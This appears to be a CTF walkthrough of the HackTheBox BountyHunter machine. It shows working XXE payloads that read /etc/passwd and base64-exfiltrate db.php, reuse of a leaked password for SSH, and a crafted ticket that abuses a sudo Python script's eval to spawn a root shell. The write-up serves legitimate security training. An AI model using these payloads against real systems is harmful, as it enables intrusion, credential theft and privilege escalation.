HTB BountyHunter Walkthrough

A technical walkthrough of the HackTheBox BountyHunter challenge!

HTB BountyHunter Walkthrough

In this technical walkthrough, I will go over the steps of how I completed the HackTheBox BountyHunter challenge! I must admit, I only have a few words to say about it–it's a nice and easy BOX. Now let's cut to the chase and get started!

Run an nmap scan:

Starting Nmap 7.91 ( ) at 2021-08-05 22:15 CEST
Nmap scan report for
Host is up (0.040s latency).
Not shown: 998 closed ports
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
|   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_  256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 22.72 seconds

You'll see the usual two ports ssh (22) and http (80) are open. Let me also add that lately, the simple BOXes of HTB have standardized the foothold with portal.

As usual, some of the parts of the portal are fake and the contact form and download don't work. Browsing reveals another "under development" portal ( used for tracking bounty hunters. An interface ( allows you to insert new trackers, but it is uncertain whether the backend is active and the requests are saved in a database.

An existing session on dirb does not reveal anything particularly interesting, apart from the "resources" directory which appears to be listable (but this does not convince me of anything yet, so we will return to take a deeper look soon).

┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox/_10.10.11.100 - BountyHunter (lin)]
└─$ dirb

DIRB v2.22    
By The Dark Raver

START_TIME: Thu Aug  5 22:24:01 2021
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt


GENERATED WORDS: 4612                                                          

---- Scanning URL: ----
==> DIRECTORY:                                                                                                                                                                                                  
==> DIRECTORY:                                                                                                                                                                                                     
+ (CODE:200|SIZE:25169)                                                                                                                                                                                       
==> DIRECTORY:                                                                                                                                                                                                      
==> DIRECTORY:                                                                                                                                                                                               
+ (CODE:403|SIZE:277)                                                                                                                                                                                     
---- Entering directory: ----
==> DIRECTORY:                                                                                                                                                                                              
---- Entering directory: ----
---- Entering directory: ----
---- Entering directory: ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
---- Entering directory: ----
+ (CODE:200|SIZE:23462)                                                                                                                                                                          
==> DIRECTORY:                                                                                                                                                                                    
---- Entering directory: ----
END_TIME: Thu Aug  5 22:43:10 2021

There wasn't anything interesting found with wappalyzer.

In the "resources" folder we find a file with a sort of TODO list (

A couple of interesting information might come in handy.


[ ] Disable 'test' account on portal and switch to hashed password. Disable nopass.
[X] Write tracker submit script
[ ] Connect tracker submit script to the database
[X] Fix developer group permissions

Intrigued by the test user, I tried to use it to access the portal in an authenticated way.

But it turns out there's another hole in the water! Let's take a look at the other files inside the "resources" directory.


function returnSecret(data) {
	return Promise.resolve($.ajax({
            type: "POST",
            data: {"data":data},
            url: "tracker_diRbPr00f314.php"

async function bountySubmit() {
	try {
		var xml = `<?xml  version="1.0" encoding="ISO-8859-1"?>
		let data = await returnSecret(btoa(xml));
	catch(error) {
		console.log('Error:', error);

The code makes a request in POST to the url "tracker_diRbPr00f314.php", passing as data of the previously viewed form in xml format encoded in base64. The result is displayed as html on the page. Ok, let's start to approach the behavior of this code and analyze if it is possible to exploit this script to our favor in some way. To do this, I used the PostMan tool to make requests quickly and easily and analyze the output.

I used the same javascript code to encode the data to avoid any problems, and I set my request's body as form-data with the data field as reported in the source code. The result, of course, is the html to be inserted into the page. Let's take advantage of this script.

Searching for "xml exploit" found a lot of interesting links.

What is XXE (XML external entity) injection? Tutorial & Examples | Web Security Academy
In this section, we’ll explain what XML external entity injection is, describe some common examples, explain how to find and exploit various kinds of XXE ...

Let me use the XXE exploit to retrieve files.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

I utilized the exploit to my needs.

The result was satisfactory! We should be on the right track, so let's dig deeper.

Of course I immediately tried to grab the user's flag, but it doesn't work (it was worth a try). After searching again for other forms of the xxe exploit, I found something.

How to Execute an XML External Entity Injection (XXE)
Learn about an XML External Entity (XXE) vulnerability, a type of attack against an application that parses XML input with insights from Cobalt.

In the Cheatsheet section, there is a large list of exploits to try. I was impressed with the one where it is possible to make a call to an external URL, so then I started a web server on my machine and gave it a try.

<!DOCTYPE test [ <!ENTITY xxe SYSTEM ""> ]>

And it worked!

┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox/_10.10.11.100 - BountyHunter (lin)]
└─$ php -S
[Sun Aug  8 13:36:32 2021] PHP 7.4.21 Development Server ( started
[Sun Aug  8 13:36:50 2021] Accepted
[Sun Aug  8 13:36:50 2021] [404]: (null) / - No such file or directory
[Sun Aug  8 13:36:50 2021] Closing

I spent hours trying to figure out how to use this exploit, mixing them with the others listed on the same page, but I don't get a spider out of the hole. I still have the ability to recover the contents of some files (as I did previously with the /etc/passwd file), but I don't know where and which ones they are. I remembered the dirb, but it did not give me much satisfaction. I think the portal is in php anyway, so searching for specific files might bring me some benefit. Let's try again.

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.100 - BountyHunter (lin)/attack/xxe]
└─$ dirb -X .php                                                                        130 ⨯

DIRB v2.22    
By The Dark Raver

START_TIME: Sun Aug 15 11:32:46 2021
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.php) | (.php) [NUM = 1]


GENERATED WORDS: 4612                                                          

---- Scanning URL: ----
+ (CODE:200|SIZE:0)                                                                    
+ (CODE:200|SIZE:25169)                                                             
+ (CODE:200|SIZE:125)                                                              
END_TIME: Sun Aug 15 11:36:21 2021

Ok, the search for php files instead of folders has paid off, but once again I can't recover the files. There is something more likely to this exploit, so I am looking for how to recover php file contents with this xxe exploit.

XXE injection with local DTD file and PHP filter.
A short brief explaination + walkthrough for XXE injection attack and how it works.

By following the link of the available payloads and analyzing them, I think I found the one that's right for me.

PayloadsAllTheThings/XXE Injection at master · swisskyrepo/PayloadsAllTheThings
A list of useful payloads and bypass for Web Application Security and Pentest/CTF - PayloadsAllTheThings/XXE Injection at master · swisskyrepo/PayloadsAllTheThings

Next, I prepared my new payload.

console.log(btoa(`<?xml  version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=db.php"> ]>

Then, I made a request and got a response.

If DB were ready, would have added:

After, I decoded the retrieved string.

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.100 - BountyHunter (lin)/attack/xxe]
└─$ echo "PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgokZGJzZXJ2ZXIgPSAibG9jYWxob3N0IjsKJGRibmFtZSA9ICJib3VudHkiOwokZGJ1c2VybmFtZSA9ICJhZG1pbiI7CiRkYnBhc3N3b3JkID0gIm0xOVJvQVUwaFA0MUExc1RzcTZLIjsKJHRlc3R1c2VyID0gInRlc3QiOwo/Pgo=" | base64 -d
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";

And now we have a password, but need to figure out which user it belongs to. Obviously it is not the root user (always try even the most obvious things). Looking at the /etc/passwd file, which gives us the list of users, I understand that there is only one user who has a shell (besides the root user), and that is the user development.

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin

And in fact...

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.100 - BountyHunter (lin)/attack/xxe]
└─$ ssh [email protected]                                                                             255 ⨯
[email protected]'s password: 
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

 * Documentation:
 * Management:
 * Support:

  System information as of Sun 15 Aug 2021 10:13:23 AM UTC

  System load:           0.0
  Usage of /:            25.4% of 6.83GB
  Memory usage:          19%
  Swap usage:            0%
  Processes:             226
  Users logged in:       0
  IPv4 address for eth0:
  IPv6 address for eth0: dead:beef::250:56ff:feb9:8e77

0 updates can be applied immediately.

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to Check your Internet connection or proxy settings

Last login: Sun Aug 15 06:52:58 2021 from
[email protected]:~$ cat user.txt 

Well done for the user flag! Let's move on to the root flag (will be really fast).

[email protected]:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
    env_reset, mail_badpass,

User development may run the following commands on bountyhunter:
    (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/

It seems that this user can execute as root without password according to the python language on the specific python script (

Before proceeding, a strange thing occurred, but that surely was some other user's error on the machine. Inside the development user folder, I found a "contract.txt" file that disappeared immediately afterwards.

[email protected]:~$ ls -la
total 40
drwxr-xr-x 5 development development 4096 Jul 22 11:10 .
drwxr-xr-x 3 root        root        4096 Jun 15 16:07 ..
lrwxrwxrwx 1 root        root           9 Apr  5 22:53 .bash_history -> /dev/null
-rw-r--r-- 1 development development  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 development development 3771 Feb 25  2020 .bashrc
drwx------ 2 development development 4096 Apr  5 22:50 .cache
-rw-r--r-- 1 root        root         471 Jun 15 16:10 contract.txt
lrwxrwxrwx 1 root        root           9 Jul  5 05:46 .lesshst -> /dev/null
drwxrwxr-x 3 development development 4096 Apr  6 23:34 .local
-rw-r--r-- 1 development development  807 Feb 25  2020 .profile
drwx------ 2 development development 4096 Apr  7 01:48 .ssh
-r--r----- 1 root        development   33 Aug 21 08:14 user.txt
lrwxrwxrwx 1 root        root           9 Jul 22 11:10 .viminfo -> /dev/null
[email protected]:~$ cat contract.txt
cat: contract.txt: No such file or directory
[email protected]:~$ ls -la
total 36
drwxr-xr-x 5 development development 4096 Aug 21 08:15 .
drwxr-xr-x 3 root        root        4096 Jun 15 16:07 ..
lrwxrwxrwx 1 root        root           9 Apr  5 22:53 .bash_history -> /dev/null
-rw-r--r-- 1 development development  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 development development 3771 Feb 25  2020 .bashrc
drwx------ 2 development development 4096 Apr  5 22:50 .cache
lrwxrwxrwx 1 root        root           9 Jul  5 05:46 .lesshst -> /dev/null
drwxrwxr-x 3 development development 4096 Apr  6 23:34 .local
-rw-r--r-- 1 development development  807 Feb 25  2020 .profile
drwx------ 2 development development 4096 Apr  7 01:48 .ssh
-r--r----- 1 root        development   33 Aug 21 08:14 user.txt
lrwxrwxrwx 1 root        root           9 Jul 22 11:10 .viminfo -> /dev/null

Fortunately, I had already opened that file, and was able to re-read it from my shell without having to restart the BountyHunter box!

[email protected]:~$ cat contract.txt 
Hey team,

I'll be out of the office this week but please make sure that our contract with Skytrain Inc gets completed.

This has been our first job since the "rm -rf" incident and we can't mess this up. Whenever one of you gets on please have a look at the internal tool they sent over. There have been a handful of tickets submitted that have been failing validation and I need you to figure out why.

I set up the permissions for you to test this. Good luck.

-- John
Pay attention to these things, your carelessness could prove to be a hindrance to other players.

However, nothing more than what had already been discovered was shown, confirming the direction that I needed to take.

[email protected]:~$ cat /opt/skytrain_inc/
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
        print("Wrong file type.")

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")

        if x.startswith("__Ticket Code:__"):
            code_line = i+1

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
        print("Invalid ticket.")


The script turns out to be really very simple and understandable. Let's analyze it.

  • It soon becomes clear that the only accepted files have "md" extension.
  • The file and path name is asked at boot time, so it is not necessary to pass it as an argument to the script.
  • The script only validates the ticket format.

Let's see how this ticket should be formatted.

  • The first line must contain the string "# Skytrain Inc".
  • The second foresees the string "## Ticket to" followed by the name of the user to whom the ticket is intended (probably of little importance if it is not used later, but let's keep it in mind).
  • The code starts when the string "__Ticket Code: __" is found, the following will be processed as follows:
  1. The lines must start with a double asterisk ("**").
  2. The one that follows is divided by the plus (+) character, and the first part must represent a numeric value whose modulo for 7 returns 4 (eg 11),
  3. In this case, the double asterisk at the beginning is removed again and processed as a python statement.
  4. Given the plus sign (+) on which the string has been split, we expect a sum whose value must be greater than 100.

Well, where is the trap? The sticking point is running the python code at runtime. The goal is to concatenate the initial sum with an instruction that allows us to get an admin shell. It doesn't matter if the eval output is not a valid numeric value, the shell will still execute and the execution will probably stop at that point, delaying the final check. Even if the ticket will not be validated (sum and execution of a shell, probably won't return a numeric value), the shell will have been spawned and used. However, we have the constraint of the initial sum.

The execution of further code in this case is a bit difficult, but it is possible to transform that sum into a comparison as if we were in the presence of a condition and append an additional condition using the logical operator "and" or the "or." Furthermore, invalidating the first check by comparing the sum to an incorrect value can be done to force the python interpreter to execute the second condition.

Recall the logical comparison operators in the case of "or." If the first component is valid, ignore the second part, as whatever the result is will proceed considering the comparison valid. While with the and all conditions are executed in order to make sure they are all true, the same is true in reverse for the "and".

To make you understand the question is this:
A and B = true only if both A and B are true.
If A is false, it is useless to also validate B. That counts for any value representing B in the equation.
In the same way A or B = true when one of the two operands is true, for example, if A were true, it would be useless to also verify B, and any value of the equation would always be true.
Considering our B as the execution of the shell, for example, in the case that we put the condition with the sum in and, this should be true, so that the shell is also executed, while, if we put the condition in or, the sum and its comparison should be false.

Having said that, after some tests carried out on my machine, the code turned out to be the following:

[email protected]:~/tmp$ cat 
# Skytrain Inc   
## Ticket to root  
__Ticket Code:__  
**11+100==111 and exec("import pty; pty.spawn(\"/bin/sh\")")

And when I ran the code with sudo, the result is as follows:

[email protected]:~/tmp$ sudo /usr/bin/python3.8 /opt/skytrain_inc/
Please enter the path to the ticket file.
Destination: root
# whoami
# cat /root/root.txt

That's all folks! Thank you for being here, and for enjoying this walkthrough of the HackTheBox BountyHunter challenge! As always, I will see you on the next BOX!

Have a nice hacking activity! :)

This astonishing image was made by the talented digital artist Pascal Blanché who is based in Canada and has been creating art for the gaming industry since 1994.